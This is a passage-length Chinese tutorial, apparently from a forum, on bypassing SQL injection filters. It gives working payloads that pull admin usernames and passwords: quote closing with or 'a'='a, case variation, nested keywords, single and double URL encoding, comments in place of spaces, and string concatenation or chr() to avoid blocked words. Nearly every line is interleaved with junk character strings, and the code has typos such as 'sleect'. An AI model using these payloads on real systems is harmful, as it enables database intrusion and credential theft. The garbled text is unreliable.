SQL注入。有攻有防。知道进攻。才懂得防守.
; S3 t) q+ M& H2 V/ t. a7 x9 U$ ^
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。
/ U% R3 p/ m! @4 n6 D8 }: E9 N: s5 k D
唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
; A, k9 O/ S# I5 h! ]" ~
) R9 Y5 U2 Z( Z% B% l我们通常有以下几种技巧,去避开这些过滤。
: e* P: j% X, I8 H
$ J/ T! [2 C' f1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。) k& q% n# n, {$ ~/ N: S: f
; M- U3 u# M$ g& aA,如果注入一个数字数据字段,就不需要使用单引号。. _: V- E9 h0 t1 u& I
1 Y& _2 `" J) L3 ~& DB,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。2 H5 c- n x# \/ |6 Y0 N
6 N# x6 P0 G: @4 ^0 ^+ S5 {# ~2 z比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a( S0 H7 s A1 t* n; J5 f; ]
3 A5 l8 `5 l c9 L) Y
目的其实很简单,就是把后面的单引号给闭合掉。
{' ~" O5 j. [! j0 |! P" `8 M) r0 O# V- V0 [" U- `0 ]5 ^ `& r
C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。 b- N. V; i( O3 g. i0 d
+ y% H5 `% t w5 f8 i- H只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。
5 y, q4 I2 g! Q- q* M6 E4 `) q- \# U" O! R* K' m/ w& q5 S
2,避免使用简单确认- d1 z# q! @/ q4 S, O8 r! a
' u6 ]; u" j" o: y# x( n一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
# P4 C/ F& l( q; Y$ ^2 @+ C/ c2 j# O0 V
这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。4 F8 S/ h3 D. H" Z8 ]1 A
& R: T9 z( G3 O" YA,如果select关键词被阻止或删除8 W7 I, @8 H/ t' T& B3 s
5 F( L4 I6 E' `9 d; d; z+ w" S
我们可以输入:
: J; T8 l0 N$ Q# _1 i% y' U1 ?* C+ n, R. r7 Z
SeLeCt 注意大小写
; ^* ~2 F8 s" f% T( t
+ _1 h# e( d( X: J- ]) j( Rselselectect 还记得ewebeditor是怎么过滤asp的么?( n# L6 O h, }; @. A5 t0 |& g4 O
+ b' U- P/ k& o6 V }%53%45%4c%45%43%54 URL编码" d1 G4 t& V- r+ \7 l0 [8 ^
. T$ b w: [# |. o! A
%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25* k( p" u a; {. Q4 ?
) K# l |* w* [; |8 R$ Q3,使用SQL注释符7 u+ @. L j4 u, z0 l
1 J; a) ]( n, G2 mA,使用注释来冒充注入的数据中的空格。: @& k: v3 I1 O; o$ N5 r
6 X6 @1 f0 T' e& `/ rselect/*yesu*/username,password/*yesu*/from/*yesu*/admin
3 y0 T7 W( [. z6 d
: ^! d( ^5 Y; h: R5 ^6 g) b5 D/*yesu*/来冒充空格. [' X& o$ P, ~2 q6 i
/ K7 |/ b8 O: k
B,使用注释来避开某些注入的确认过滤。
( y: k" h. S6 {/ C0 `* Q3 P# W# A2 }
6 C: H1 K1 U+ v% n5 e" j+ w+ d& p: ~2 Y" LSEL/*yesu*/ECT username,password fr/*yesu*/om admin
W9 X3 s* A: I- g; ^7 `1 U0 B" d& |* p9 y& V1 {& U2 ^* M
4,处理被阻止的字符串8 f& |! C8 }5 [( v* i
; W8 I! {. B' r% `( h比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。
7 A2 |8 D7 t/ ]
7 y5 l$ s* D" u1 F% M; K' {我们可以这样, U' V. S: Q$ K1 p7 W
1 g4 ~6 ?" H" Z# j. h: @, M( r
A,oracle数据库: ‘adm’||’in’
1 a7 E3 i7 Z, o; [
4 ]1 D5 S) _) d9 c( m; }4 p9 d5 `B,MSSQL数据库: ‘adm’+’in’0 V @: C) I: n7 O
8 k9 p6 o/ j" v- zC,MYSQL数据库: concat (‘adm’,’in’). a5 Y& {; F1 c8 {. K: _6 j
7 i6 r7 H h: uD,oracle中如果单引号被阻止了,还可以用chr函数1 D$ ~" i1 a% Z n3 c
* v! ]/ w+ d' A) K5 bsleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
4 ?- X1 T; m d2 N# e; x! Z7 Q3 u. v$ m/ b6 Q# M3 N
还有其他方法。正在收集中.
4 ] l/ p! n5 p6 P4 p+ O$ Z0 L9 ~2 K8 x
|